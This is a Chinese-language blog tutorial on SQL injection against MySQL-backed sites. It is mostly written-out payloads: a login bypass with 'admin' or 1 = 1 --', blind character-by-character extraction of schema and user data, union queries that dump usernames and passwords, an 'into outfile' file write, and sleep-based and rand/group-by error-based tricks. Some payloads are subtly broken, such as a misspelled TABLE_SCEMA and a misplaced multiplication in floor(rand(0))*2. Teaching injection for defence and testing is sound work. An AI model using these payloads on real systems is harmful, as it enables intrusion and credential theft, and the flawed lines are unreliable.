SQL注入

什麼是SQL注入?

 當客戶端提交的數據未做處理或轉義,直接帶入數據庫就造成了SQL注入

布爾注入

 利用返回真假的效果做到SQL注入,比方說有下面一串代碼

String sql = null;
sql = "select * from user where username = " + "'" + un + "'" + "and password = " + "'" + pwd + "'";

 其中,un和pwd都是String類型的變量,這是一個很明顯的SQL注入漏洞,假設我令

String un = "admin' or 1 = 1 -- "
String pwd = 11//隨便什麼都可以

 最終發送到數據庫的語句就是

select * from user where username = 'admin' or 1 = 1 -- ' and password = '11'

 這樣的語句返回的結果就是數據庫中的所有記錄,因爲對於所有記錄,它都會判斷username是否等於admin或者1是否等於1,只要有任意一條滿足條件,就會被查出來,後面加了兩個-,就將password查詢給屏蔽(註釋)了,使password約束不會產生影響。

獲取數據庫名長度
length(database()) > 1 #判斷是否大於1,如果正確,就繼續下去,直到錯誤
獲取數據庫名
ORD(mid(database(),1,1)) > 1
/*
這裏涉及到兩個函數
    ORD(String)將String轉換成十進制值,然後可以通過百度查值得到該字符
    mid(String,a,b)將String從a開始向後截取b個字符
*/
獲取表名的長度
(select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCEMA = database() limit 0,1) > 1
# 判斷名爲databse()數據庫裏第1個表的長度是否大於1,不停的判斷,就能查到表的長度
# 這只是第一個表,要想獲取第二個表,就將limit 0,1改爲limit 1,1
獲取表名
ORD(mid(TABLE_NAME,1,1)) > 1
獲取表內字段個數
(select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user' and TABLE_SCHEMA='jsp') > 1
# user是表名,jsp是數據庫名
獲取字段的長度
(select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user' and TABLE_SCHEMA='jsp' limit 0,1) > 1
# 同理修改limit後面的參數即可獲取第二個、第三個....字段的長度
獲取字段的名字
select ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where table_name = 'user' and TABLE_SCHEMA = 'jsp' limit 0,1),1,1)) > 1
# 爆每個字段從第1位開始的十進制值
獲取內容的長度
select (select length(username) from user limit 0,1) > 1
# 已經查出第一個字段的名字是username,查username的第一個內容長度
獲取內容的值
select ORD(mid((select username from user limit 0,1),1,1)) > 1
# 同樣的,一個一個試,把值爆出來

聯合注入

 聯合注入共分三步,首先判斷數據庫中字段數,接着利用union進行聯合查詢,暴露可查詢的字段編號,最後根據得到的字段編號,查詢暴露的字段值

union可合併兩個或多個select語句的結果集,
前提是兩個select必有相同列、且各列的數據類型也相同
一、檢測字段數

 檢測字段數用的sql語句是

order by 2//數字任意

 根據頁面返回的結果,來判斷站點中的字段數目  比方說有一個網站http://127.0.0.1/onews.asp?id=45,在後面添加語句order by 3,頁面顯示正常,改爲order by 4,頁面報錯,所以該站字段個數爲3

二、暴露可查詢的字段編號
select * from user where id = -1 union select 1,2,3

 使union前面語句出錯,從而執行後面的,看頁面爆出什麼數字  通過這個方法還可以查詢數據庫的其他信息,比方所爆出數據庫的名字

select * from user where id = -1 union select 1,database(),3
附加:彙總常用函數
version() -- 獲取mysql版本號

user() -- 返回當前用戶名

select count(*) from mysql.user -- 返回用戶數量

select count(*) from information_schema.schemata -- 返回數據庫數量

database() -- 返回數據庫名

select table_name from information_schema.tables where table_schema=’Database_Name’ limit 0,1 -- 獲取第一個表名

select column_name from information_schema.columns where table_schema=’Database_Name’ and TABLE_NAME=’TABLE_NAME’ limit 0,1 -- 獲取第一個字段名
三、暴露字段值

 假設上面通過查詢字段編號,得到2,3,說明用戶名和密碼就在2,3列,就可以開始爆用戶名密碼

select * from user union select 1,username,password from user
附加:拿shell

 拿shell其實更直白的話叫導出數據庫,配合聯合注入使用,很簡單一句話

select * from user union select 1,user(),3 into outfile 'D:/1.txt'

延時注入

 延時注入通常用於對時間敏感的sql語句,通過執行時間的長短來判斷是否執行成功

select * from user where 1 = 1 and sleep (if((select count(SCHEMA_NAME) from information_SCHEMA.SCHEMATA) = 1,0,2 ))

 上面語句代碼的含義是,如果整個mysql中數據庫的個數等於1,則延時0秒,否則延時2秒進行查詢

BUG注入

 BUG注入實際上是利用數據庫語句之間的衝突,彈出BUG,蒐集BUG中對我們有用的信息。只要是count(),rand,group by三個連用就會造成報錯

select concat((floor(rand(0))*2),'--------',(select database())) x from user group by x
#輸出:0--------jsp,這樣就爆出了數據庫的名字,同理還可以利用BUG注入獲取其他信息
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章